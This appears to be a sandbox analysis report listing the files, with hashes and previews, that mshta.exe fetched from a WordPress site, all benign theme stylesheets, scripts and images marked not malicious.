Preview:	@font-face {. font-family: 'Lato';. font-style: normal;. font-weight: 900;. src: url(http://fonts.gstatic.com/s/lato/v23/S6u9w4BMUTPHh50XSwiPHQ.eot);.}.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\custom-script[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	5333
Entropy (8bit):	5.251194517626103
Encrypted:	false
SSDEEP:	96:i7Xo1sX/me8vbi9uq5r+iM19dnFMoOsSyM4WtKNOk:SGsuvbi9odedXyM3tKgk
MD5:	739E27C21C55279E44DCF1C1967E8F5F
SHA1:	F95C101BABBBA485FE49C82991C8299C90D001D9
SHA-256:	611C66D42B9CC55CFA24BA8FC857B9ED01B78E2A5C2A954BC7DD70A889A7AD19
SHA-512:	1DE4C427F75F4F9E9EA3BA37EB697C5E768EBE403CE2E410872CD18C22DB60D4EE0D032D795C9BCA03CE793D84D23B68BA963BF4110D8537F7E2D29B1D5B809C
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0
Preview:	jQuery(document).ready(function(){..var...windowSelector = jQuery(window)..;...windowSelector.resize(function(){...jQuery('.gmap_container').css({ 'width': windowSelector.width(), 'left':'50%', 'margin-left': windowSelector.width()/-2 });...jQuery('.gmap_container2').css({ 'width': windowSelector.width(), 'left':'50%', 'margin-left': windowSelector.width()/-2 });...jQuery('.content_container1').css({ 'width': windowSelector.width(), 'left':'50%', 'margin-left': windowSelector.width()/-2 });..}).trigger("resize");...jQuery('.cherry_media_parallax_1').fadeTo(0, 0);...})..$(function() {..var...menuWrap = $('.header .menu_wrap')..,.offsetArray = []..,.offsetValueArray = []..,._document = $(document)..,.currHash = ''..,.isAnim = false..,.isHomePage = $('body').hasClass('home')? true:false..;....//--------------------------- Menu navigation ---------------------------..$('#topnav > li', menuWrap).each(function(){...if($(this).hasClass('menu-item-type-custom')){....var newUrl = $('header .log

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\device.min[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	2778
Entropy (8bit):	4.92970371310333
Encrypted:	false
SSDEEP:	48:xLnN+tyKOxwaPYuxwFAmKldNzr1JhxPE63haDJ77LMeHrc76cCgP:hTPCoEt6
MD5:	CCD1C11A6BA5DF0CBFC470B04A3739F4
SHA1:	A8864D81DE7689672EF8F916E430AAABF563C22D
SHA-256:	A6BA246C6B7B60AFFBB369C8884D172DD3E4702A594F09BBA678A7773A25E411
SHA-512:	31F7B74A31E796534D0F51BD9BC9004BDD30EE896D987300A220DADAA526753C9C6D00081F4E9D18EA2BF875C776D6ED55CBA62404B22534BCD45A277EC45A79
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/device.min.js?ver=1.0.0
Preview:	/! device.js 0.1.58 /.(function(){var a,b,c,d,e,f,g,h,i,j;a=window.device,window.device={},c=window.document.documentElement,j=window.navigator.userAgent.toLowerCase(),device.ios=function(){return device.iphone()\|\|device.ipod()\|\|device.ipad()},device.iphone=function(){return d("iphone")},device.ipod=function(){return d("ipod")},device.ipad=function(){return d("ipad")},device.android=function(){return d("android")},device.androidPhone=function(){return device.android()&&d("mobile")},device.androidTablet=function(){return device.android()&&!d("mobile")},device.blackberry=function(){return d("blackberry")\|\|d("bb10")\|\|d("rim")},device.blackberryPhone=function(){return device.blackberry()&&!d("tablet")},device.blackberryTablet=function(){return device.blackberry()&&d("tablet")},device.windows=function(){return d("windows")},device.windowsPhone=function(){return device.windows()&&d("phone")},device.windowsTablet=function(){return device.windows()&&d("touch")},device.fxos=function(){return(

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\error[1]

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1706
Entropy (8bit):	5.274543201400288
Encrypted:	false
SSDEEP:	48:NIAbzyYh8rRLkRVNaktqavP61GJZoF+SMy:xWqxztqaHO
MD5:	B9BEC45642FF7A2588DC6CB4131EA833
SHA1:	4D150A53276C9B72457AE35320187A3C45F2F021
SHA-256:	B0ABE318200DCDE42E2125DF1F0239AE1EFA648C742DBF9A5B0D3397B903C21D
SHA-512:	C119F5625F1FC2BCDB20EE87E51FC73B31F130094947AC728636451C46DCED7B30954A059B24FEF99E1DB434581FD9E830ABCEB30D013404AAC4A7BB1186AD3A
Malicious:	false
Preview:	...window.onerror = HandleError..function HandleError(message, url, line)..{..var str = L_Dialog_ErrorMessage + "\n\n"..+ L_ErrorNumber_Text + line + "\n"..+ message;..alert (str);..window.close();..return true;..}..function loadBdy()..{..var objOptions = window.dialogArguments;..btnNo.onclick = new Function("btnOKClick()");..btnNo.onkeydown = new Function("SwitchFocus()");..btnYes.onclick = new Function("btnYesClick()");..btnYes.onkeydown = new Function("SwitchFocus()");..document.onkeypress = new Function("docKeypress()");..spnLine.innerText = objOptions.getAttribute("errorLine");..spnCharacter.innerText = objOptions.getAttribute("errorCharacter");..spnError.innerText = objOptions.getAttribute("errorMessage");..spnCode.innerText = objOptions.getAttribute("errorCode");..txaURL.innerText = objOptions.getAttribute("errorUrl");..if (objOptions.errorDebug)..{..divDebug.innerText = L_ContinueScript_Message;..}..btnYes.focus();..}..function SwitchFocus()..{..var HTML_KEY_ARROWLEFT = 37;..

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\gtranslate-style24[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	693
Entropy (8bit):	4.934608717734217
Encrypted:	false
SSDEEP:	12:4IYVc5Y6ls3SFy4n51hHSs5n8oD6jc5n8JH6uDvKROYABO0b2TLx3OsqTLxN8QOX:4IYVc5Y6B51hys5n8G6jc5n8JH6uDvKX
MD5:	9B0F26CF8D22D4E9455F67B21C2F9759
SHA1:	F0240A4411D4A2EB073C574D37618E503392B76E
SHA-256:	226456D9A9EEF8F0831B6B181BE100A49CBAEC1651A8BD45D7D0CC897D161538
SHA-512:	FB5BA2942B79906FD59181F39F3C753D9950AB5502A56A3D164DFF50516CC70149EA68D3478F4B7ADC09E7FB67FD8519FF83EFD5089FA51B1B85400C50641D4B
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20
Preview:	a.gflag {font-size:24px;padding:1px 0;background-repeat:no-repeat;background-image:url(24.png);}.a.gflag img {border:0;height:24px;display:inline;}.a.gflag:hover {background-image:url(24a.png);}.img.gstats {display:none;}.a.alt_flag {background-image:url(alt_flags.png);}.a.alt_flag:hover {background-image:url(alt_flagsa.png);}.a.us_flag {background-position:-0px -100px;}.a.br_flag {background-position:-100px -100px;}.a.mx_flag {background-position:-200px -100px;}..a.glink {text-decoration:none;}.a.glink span {margin-right:5px;font-size:15px;vertical-align:middle;}.a.glink img {vertical-align:middle;display:inline;border:0;padding:0;margin:0;opacity:0.8;}.a.glink:hover img {opacity:1;}

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\jquery.zaccordion.min[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	10762
Entropy (8bit):	5.077152335060303
Encrypted:	false
SSDEEP:	192:UJrUdgSDnkqTJT3De0no2zDEJEBk/UdjwUSPh/im9X:UJvSDnTJTa0nocEJrUdjwUSJ/im9X
MD5:	83587A80FA209ADBA2AE7D9C7D817790
SHA1:	0AD068CE6FB22A723676D786D0F5AA8922E34814
SHA-256:	3454594300968DF56A52E0EF020632006412FB99ABEF27D917E21A715C586225
SHA-512:	527C20333ED686C4382B5D2651AA94B202A8E180BCC36954B0395DBB0E5AD4E285882049BE2C9BF245522490AF012E98DE0931E3CFB24F7147F3811CE2DFE440
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0
Preview:	(function(a){a.fn.zAccordion=function(e){var d={timeout:6000,width:null,slideWidth:null,tabWidth:null,height:null,startingSlide:0,slideClass:null,easing:null,speed:1200,auto:true,trigger:"click",pause:true,invert:false,animationStart:function(){},animationComplete:function(){},buildComplete:function(){},errors:false},c={displayError:function(g,f){if(window.console&&f){console.log("zAccordion: "+g+".")}},findChildElements:function(f){if(f.children().get(0)===undefined){return false}else{return true}},getNext:function(g,h){var f=h+1;if(f>=g){f=0}return f},fixHeight:function(f){if((f.height===null)&&(f.slideHeight!==undefined)){f.height=f.slideHeight;return true}else{if((f.height!==null)&&(f.slideHeight===undefined)){return true}else{if((f.height===null)&&(f.slideHeight===undefined)){return false}}}},getUnits:function(f){if(f!==null){if(f.toString().indexOf("%")>-1){return"%"}else{if(f.toString().indexOf("px")>-1){return"px"}else{return"px"}}}},toInteger:function(f){if(f!==null){return pa

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\logo-slider-wp-public[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	5372
Entropy (8bit):	4.984476165106454
Encrypted:	false
SSDEEP:	96:AJKII0S0eTHhUELNZQety9Q2dJie/JTwJTG/JiGS61iL0:iQQBSw
MD5:	3A2087F6BBC2271D1A7484512C92A4BB
SHA1:	B15329AD5E236432E2B7972242E3DDC0E93BE73A
SHA-256:	D836BDB6405A34D357393B88B95298C535A088D8DF6F84805B8290182CD7EF13
SHA-512:	9FCDEBC1712A9666A9CC7DD7BB505B6B4369224653C542854FECEBD073C83A9C228F80A9D5A3B61BE9836DFFF2692DBEF9DE949542CEF6251ED74E2589374612
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.css?ver=1.0.0
Preview:	/*. All of the CSS for your public-facing functionality should be. * included in this file.. /..lgx-logo-slider-wp .owl-stage {. display: flex;. align-items: center;.}...lgx-logo-slider-wp .lgx-logo-wrapper {. padding: 25px 0;.}..lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-nav {. text-align: center;.}..lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-nav .owl-next,..lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-nav .owl-prev {. margin: 1px;.}..lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-nav [class=owl-] {. background: transparent;.}..lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-next img,..lgx-logo-slider-wp .lgx-logo-wrapper .lgx-logo-carousel .owl-prev img {. width: 30px;.}..lgx-logo-slider-wp .wp-logo-border .lgx-logo-item {. border-style: solid;. border-width: 2px;.}..lgx-logo-slider-wp .lgx-logo-item {. cursor: pointer;. text-align: center;.}..lgx-logo-slider-wp .lgx-logo-item .logo-com

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\responsive[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	21945
Entropy (8bit):	4.998283618348646
Encrypted:	false
SSDEEP:	384:vDi+XnHtUrZKt+uSmu+c30r8SGCxGfGYb/0EUN0QT0z8lFLiFHM:LiOnHtUrZKtqOI0ISGCxGfGYb/0Ery0C
MD5:	56879E9EF909D5CF8DEF84297B5AC6B4
SHA1:	097D5726A7053C1E9E20FCFE6FFA771F2D6DE573
SHA-256:	8A1D0F12B448B5065CBE1E76F5D2DF0364E9E9A2CAE98E9419215CAD62FB1892
SHA-512:	E7ACA508BE1EB31411887C3DD64ABBC47AB39C3C217E924D89245A084404AF350C2B6693721BD06CF9CCF8DE263189BC2C80FD1C1E86A8D10147FBC27FF7770B
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/responsive.css
Preview:	/!. Bootstrap Responsive v2.3.0. . Copyright 2012 Twitter, Inc. * Licensed under the Apache License v2.0. * http://www.apache.org/licenses/LICENSE-2.0. . Designed and built with all the love in the world @twitter by @mdo and @fat.. /..clearfix {. zoom: 1;.}..clearfix:before,..clearfix:after {. display: table;. content: "";. line-height: 0;.}..clearfix:after {. clear: both;.}..hide-text {. font: 0/0 a;. color: transparent;. text-shadow: none;. background-color: transparent;. border: 0;.}..input-block-level {. display: block;. width: 100%;. min-height: 30px;. -webkit-box-sizing: border-box;. -moz-box-sizing: border-box;. box-sizing: border-box;.}.@-ms-viewport {. width: device-width;.}..hidden {. display: none;. visibility: hidden;.}..visible-phone {. display: none !important;.}..visible-tablet {. display: none !important;.}..hidden-desktop {. display: none !important;.}..visible-desktop {. display: inherit !important;.}.@media (min-width: 768px) and (ma

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\style[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	369
Entropy (8bit):	4.540020121615135
Encrypted:	false
SSDEEP:	6:U2LyinnK9NPF3SgcIdRVOlasFoybT4vF3Sg2OjC/ir7Ql3Q8sC:U2Llnn8PF3fnVO4sF1XMF32WiwC
MD5:	894A154E267382CF65B478B759115923
SHA1:	ECFFCAEAC680371DF912387314F648F2DA111E19
SHA-256:	875858A39A88A7E765F15CF95E6B8CCD5D647C5617F7241C8637959ECAA1508C
SHA-512:	02F39EB5B6C33DC76C6900644F58D69DAD08BE287409D23BA64963EA6105DF9ECE46128DD5A2731E5675E0DC7CA7ABE9485E8E5CB22ADE6303840ECCB2544FEC
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/theme51253/style.css
Preview:	/--..Theme Name: theme51253..Theme URI: http://info.template-help.com/help/..Description: A theme for Wordpress 4.4.x..Author: Template_Help.com..Author URI: http://info.template-help.com/help/..Template: CherryFramework..Version: 3.1.5.--/../* ----------------------------------------..Please, You may put custom CSS here.---------------------------------------- */.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\theme[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	87745
Entropy (8bit):	5.5982827947800144
Encrypted:	false
SSDEEP:	1536:BC7O2E2CzZOUWqTNWm3GJUWXTOhYijX6MAuKT+0/W2sqDYyUliBf21R+ab+gLSnr:q9j+K
MD5:	BB3B682DA2B43CE2AB6127EC0BB2F84E
SHA1:	B7734D0819DA9A80E1483A36357D06EB24332C25
SHA-256:	19BBB78D70DD6EE89FF91E26A422ADB69510E8FF83ACE800AD7E5D0F35F14509
SHA-512:	81E0791DFF8996258C773DAC76EECC3C3B40658B16F7A57E224139A0B65E7EDDFA5D5DF64DE010034823BF642270C968FDB3FE38D99FF7BAB1C19ED1751DF5E3
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.8
Preview:	.motopress-text-obj span{line-height:1em}.motopress-image-obj .motopress-image-obj-basic{max-width:100% !important;margin:0 !important;padding:0 !important;border:0}.motopress-image-slider-obj{line-height:normal;min-height:0}.motopress-image-slider-obj *{line-height:normal}.motopress-image-slider-obj .slides{list-style:none outside none;margin:0 !important;padding:0;line-height:normal}.motopress-image-slider-obj .slides li{margin:0;margin-left:0 !important;padding:0}.motopress-image-slider-obj .slides li:before,.motopress-image-slider-obj .slides li:after{content:none !important}.motopress-image-slider-obj .slides li img{margin:0;padding:0;-moz-box-shadow:none;-webkit-box-shadow:none;box-shadow:none;border:0}.motopress-image-slider-obj .flex-control-nav{position:absolute !important;list-style:none outside none !important;margin:0 !important;padding:0 !important;line-height:normal;right:auto !important;bottom:-40px !important;text-align:center !important;z-index:auto !important}.motopre

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\wp-embed.min[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	1391
Entropy (8bit):	5.13936657531626
Encrypted:	false
SSDEEP:	24:XUdqIoZ2zsben5WlLysyIOKI1mQqRhoj3v2rFEgRuLUMB9/RUCXXmC3+:XUyEsyKystOKumTsOrFEmu7Bl6CX2Q+
MD5:	570AE0F3C201604926EA599D3D1F6C04
SHA1:	2C29243A73660964D4712B969D2A15E27777BC14
SHA-256:	5138D39633DC69FCD0ED7F33A5E38DC339123F682FA7F5242066879C2BBC8C9B
SHA-512:	44583F156E95AA16D20ED8DB8421001D9B7257B56B4FFF1E0378760406B4D6EB2B1315D28AD4F3F489A7733814B2FB2DDDF8F28004DAAEEE8D9BF4EA22A2742E
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-includes/js/wp-embed.min.js?ver=4.9.20
Preview:	!function(c,d){"use strict";var e=!1,n=!1;if(d.querySelector)if(c.addEventListener)e=!0;if(c.wp=c.wp\|\|{},!c.wp.receiveEmbedMessage)if(c.wp.receiveEmbedMessage=function(e){var t=e.data;if(t)if(t.secret\|\|t.message\|\|t.value)if(!/[^a-zA-Z0-9]/.test(t.secret)){for(var r,a,i,s=d.querySelectorAll('iframe[data-secret="'+t.secret+'"]'),n=d.querySelectorAll('blockquote[data-secret="'+t.secret+'"]'),o=0;o<n.length;o++)n[o].style.display="none";for(o=0;o<s.length;o++)if(r=s[o],e.source===r.contentWindow){if(r.removeAttribute("style"),"height"===t.message){if(1e3<(i=parseInt(t.value,10)))i=1e3;else if(~~i<200)i=200;r.height=i}if("link"===t.message)if(a=d.createElement("a"),i=d.createElement("a"),a.href=r.getAttribute("src"),i.href=t.value,i.host===a.host)if(d.activeElement===r)c.top.location.href=t.value}}},e)c.addEventListener("message",c.wp.receiveEmbedMessage,!1),d.addEventListener("DOMContentLoaded",t,!1),c.addEventListener("load",t,!1);function t(){if(!n){n=!0;for(var e,t,r=-1!==navigator.appV

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\bootstrap-grid.min[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	15140
Entropy (8bit):	5.208958193254912
Encrypted:	false
SSDEEP:	384:R8xYxpW3Jzw4g0mCZuUwG8Su9uteW5GF1Eh:R8expW3JzwbCUUC3GGf2
MD5:	C3AFA9C619C14F0C3B0CA0BB13F12BD9
SHA1:	F3A2FE1CD8A2A51B7EBFE402D983DC7F16DBA5AA
SHA-256:	DE56C5F70EA565FDC866ADE91C95AB84151F55E030F861B3509141B24FD54733
SHA-512:	74B50CA4FC1D2EB7E6855036CEC9E86ECCA75BF8E05A965D5424B14551F4EC1969A3F94327E8042A48F2EF826D0F27166ACD1479D3105B814325708B4222FBB6
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.css?ver=1.5.8
Preview:	.mp-row{margin-left:-20px;zoom:1}.mp-row:before,.mp-row:after{display:table;content:"";line-height:0}.mp-row:after{clear:both}[class="mp-span"]{float:left;min-height:1px;margin-left:20px}.mp-container{width:940px}.mp-span12{width:940px}.mp-span11{width:860px}.mp-span10{width:780px}.mp-span9{width:700px}.mp-span8{width:620px}.mp-span7{width:540px}.mp-span6{width:460px}.mp-span5{width:380px}.mp-span4{width:300px}.mp-span3{width:220px}.mp-span2{width:140px}.mp-span1{width:60px}.mp-offset12{margin-left:980px}.mp-offset11{margin-left:900px}.mp-offset10{margin-left:820px}.mp-offset9{margin-left:740px}.mp-offset8{margin-left:660px}.mp-offset7{margin-left:580px}.mp-offset6{margin-left:500px}.mp-offset5{margin-left:420px}.mp-offset4{margin-left:340px}.mp-offset3{margin-left:260px}.mp-offset2{margin-left:180px}.mp-offset1{margin-left:100px}.mp-row-fluid{width:100%;*zoom:1;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.mp-row-fluid:before,.mp-row-fluid:after{dis

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\chart.min[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	19761
Entropy (8bit):	5.458312135639062
Encrypted:	false
SSDEEP:	384:bpO1nM9u0BDwt0u/9jydPsRKiyd+sbyWwDHdQPy0MaryWuDHdQ1Q58:Gwumwt0uVmeKIsiKpAaH
MD5:	6806368C6A0BF73A5236B452FD5C2332
SHA1:	250B6DE151107A11DA015D052CE89D1FE042F23D
SHA-256:	835526E45335B67067D09FEF4876BEB46F6557A357CD6F3EDA61284612983A0D
SHA-512:	D4278F7706EE8631F4DCD910D6247E4A80D1B6BD20B3484F23A039779F951B75BA62EE379EDAE9D4FF6D06A9814F96122481539DF590D9F8E781F4E4C3876D6B
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0
Preview:	var Chart=function(s){function v(a,c,b){a=A((a-c.graphMin)/(c.stepsc.stepValue),1,0);return bc.stepsa}function x(a,c,b,e){function h(){g+=f;var k=a.animation?A(d(g),null,0):1;e.clearRect(0,0,q,u);a.scaleOverlay?(b(k),c()):(c(),b(k));if(1>=g)D(h);else if("function"==typeof a.onAnimationComplete)a.onAnimationComplete()}var f=a.animation?1/A(a.animationSteps,Number.MAX_VALUE,1):1,d=B[a.animationEasing],g=a.animation?0:1;"function"!==typeof c&&(c=function(){});D(h)}function C(a,c,b,e,h,f){var d;a=.Math.floor(Math.log(e-h)/Math.LN10);h=Math.floor(h/(1Math.pow(10,a)))Math.pow(10,a);e=Math.ceil(e/(1Math.pow(10,a)))Math.pow(10,a)-h;a=Math.pow(10,a);for(d=Math.round(e/a);d<b\|\|d>c;)a=d<b?a/2:2a,d=Math.round(e/a);c=[];z(f,c,d,h,a);return{steps:d,stepValue:a,graphMin:h,labels:c}}function z(a,c,b,e,h){if(a)for(var f=1;f<b+1;f++)c.push(E(a,{value:(e+h*f).toFixed(0!=h%1?h.toString().split(".")[1].length:0)}))}function A(a,c,b){return!isNaN(parseFloat(c))&&isFinite(c)&&a>c?c:!isNaN(parseFloat(

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\cherry.parallax[1].js

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	12158
Entropy (8bit):	3.592754771957016
Encrypted:	false
SSDEEP:	192:t3BO6DYHSCIGSNHsVgqdAy3Ho4y+JFynA/RMAPAdLP3fbXchcRiiAf:x3wgkdn4Chv
MD5:	9DFB3EE198D0B5AD45C2A0BCD6BF803B
SHA1:	C90AFF5CC613C7308E0AD69F62B31E19FEFEE4EF
SHA-256:	89FCE279C9EA9D6232EE5A76067340817EF1A0FD4555FAC18095A202BB6DA952
SHA-512:	1155CC8C04C090E7ADC600D3473C481C66041EBB60DDC8189754E6EC61AB49120F3F9505250FA2CFC164AA91F9863E3F4C405381568B33DAC8346D1BA8652F41
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0
Preview:	jQuery(document).ready(function($){. . parallax_box = $('section.parallax-box');. if(parallax_box.length > 0){. ParallaxBox();. }. . function ParallaxBox(). {. var windowSelector = $(window),. documentSelector = $(document),. documentWidth = documentSelector.width(),. windowHeight = windowSelector.outerHeight(),. liteMode = false,. ieVersion = getInternetExplorerVersion();. . var ds = document.documentElement;. . if(!device.mobile() && !device.tablet()){....liteMode = false;. . if (ieVersion !=-1 && ieVersion < 9){. liteMode = true;. }...}else{....liteMode = true;...}. . parallax_box.each(function(). {. parallaxBox($(this));. });. . function parallaxBox(obj){. . var obj_bg = obj.find('.parallax-bg'),. type = obj_bg.data('parall

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\content_bg4[1].jpg

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop CS5 Windows, datetime=2014:09:09 11:29:49], baseline, precision 8, 2208x1150, frames 3
Category:	downloaded
Size (bytes):	891583
Entropy (8bit):	7.917669644382096
Encrypted:	false
SSDEEP:	24576:Q97s84R+LWUXF0xbeQBvylH8MyqDD08UiFod:Q97s83LWUXFZhuqDDZfm
MD5:	68287B4A0457A01B4244FBB136D147B7
SHA1:	8092DFB1D44BCFDEF01F85778D15B27FFDEF274B
SHA-256:	16AA3453FC8DA749206989DA29E9EAD11FD86B52074E177151412F954072C290
SHA-512:	84D2908196F325F7B4B801A6826D780E236328D219B1CE9ACC41C6AA342E0C12C6319E0A99C938F8EFA64B080402713B6E4FFD7C68F5B5D7938DE640FA07D028
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpg
Preview:	......Exif..MM.*.............................b...........j.(...........1.........r.2...........i....................'.......'.Adobe Photoshop CS5 Windows.2014:09:09 11:29:49........................................~...........................................&.(.................................L.......H.......H..........Adobe_CM......Adobe.d.................................................................................................................................................S...."................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?.....f{BP..e`-T$.R..U.....$..>H.>..w......E........c....A. .......w.8.v...........-........cC@ua...._.0.......w.....O.g........1...H....$...>.nW..Sh.4....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\error[1]

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1706
Entropy (8bit):	5.274543201400288
Encrypted:	false
SSDEEP:	48:NIAbzyYh8rRLkRVNaktqavP61GJZoF+SMy:xWqxztqaHO
MD5:	B9BEC45642FF7A2588DC6CB4131EA833
SHA1:	4D150A53276C9B72457AE35320187A3C45F2F021
SHA-256:	B0ABE318200DCDE42E2125DF1F0239AE1EFA648C742DBF9A5B0D3397B903C21D
SHA-512:	C119F5625F1FC2BCDB20EE87E51FC73B31F130094947AC728636451C46DCED7B30954A059B24FEF99E1DB434581FD9E830ABCEB30D013404AAC4A7BB1186AD3A
Malicious:	false
Preview:	...window.onerror = HandleError..function HandleError(message, url, line)..{..var str = L_Dialog_ErrorMessage + "\n\n"..+ L_ErrorNumber_Text + line + "\n"..+ message;..alert (str);..window.close();..return true;..}..function loadBdy()..{..var objOptions = window.dialogArguments;..btnNo.onclick = new Function("btnOKClick()");..btnNo.onkeydown = new Function("SwitchFocus()");..btnYes.onclick = new Function("btnYesClick()");..btnYes.onkeydown = new Function("SwitchFocus()");..document.onkeypress = new Function("docKeypress()");..spnLine.innerText = objOptions.getAttribute("errorLine");..spnCharacter.innerText = objOptions.getAttribute("errorCharacter");..spnError.innerText = objOptions.getAttribute("errorMessage");..spnCode.innerText = objOptions.getAttribute("errorCode");..txaURL.innerText = objOptions.getAttribute("errorUrl");..if (objOptions.errorDebug)..{..divDebug.innerText = L_ContinueScript_Message;..}..btnYes.focus();..}..function SwitchFocus()..{..var HTML_KEY_ARROWLEFT = 37;..

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\error[2]

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1706
Entropy (8bit):	5.274543201400288
Encrypted:	false
SSDEEP:	48:NIAbzyYh8rRLkRVNaktqavP61GJZoF+SMy:xWqxztqaHO
MD5:	B9BEC45642FF7A2588DC6CB4131EA833
SHA1:	4D150A53276C9B72457AE35320187A3C45F2F021
SHA-256:	B0ABE318200DCDE42E2125DF1F0239AE1EFA648C742DBF9A5B0D3397B903C21D
SHA-512:	C119F5625F1FC2BCDB20EE87E51FC73B31F130094947AC728636451C46DCED7B30954A059B24FEF99E1DB434581FD9E830ABCEB30D013404AAC4A7BB1186AD3A
Malicious:	false
Preview:	...window.onerror = HandleError..function HandleError(message, url, line)..{..var str = L_Dialog_ErrorMessage + "\n\n"..+ L_ErrorNumber_Text + line + "\n"..+ message;..alert (str);..window.close();..return true;..}..function loadBdy()..{..var objOptions = window.dialogArguments;..btnNo.onclick = new Function("btnOKClick()");..btnNo.onkeydown = new Function("SwitchFocus()");..btnYes.onclick = new Function("btnYesClick()");..btnYes.onkeydown = new Function("SwitchFocus()");..document.onkeypress = new Function("docKeypress()");..spnLine.innerText = objOptions.getAttribute("errorLine");..spnCharacter.innerText = objOptions.getAttribute("errorCharacter");..spnError.innerText = objOptions.getAttribute("errorMessage");..spnCode.innerText = objOptions.getAttribute("errorCode");..txaURL.innerText = objOptions.getAttribute("errorUrl");..if (objOptions.errorDebug)..{..divDebug.innerText = L_ContinueScript_Message;..}..btnYes.focus();..}..function SwitchFocus()..{..var HTML_KEY_ARROWLEFT = 37;..

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\flexslider[1].css

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	ASCII text, with very long lines
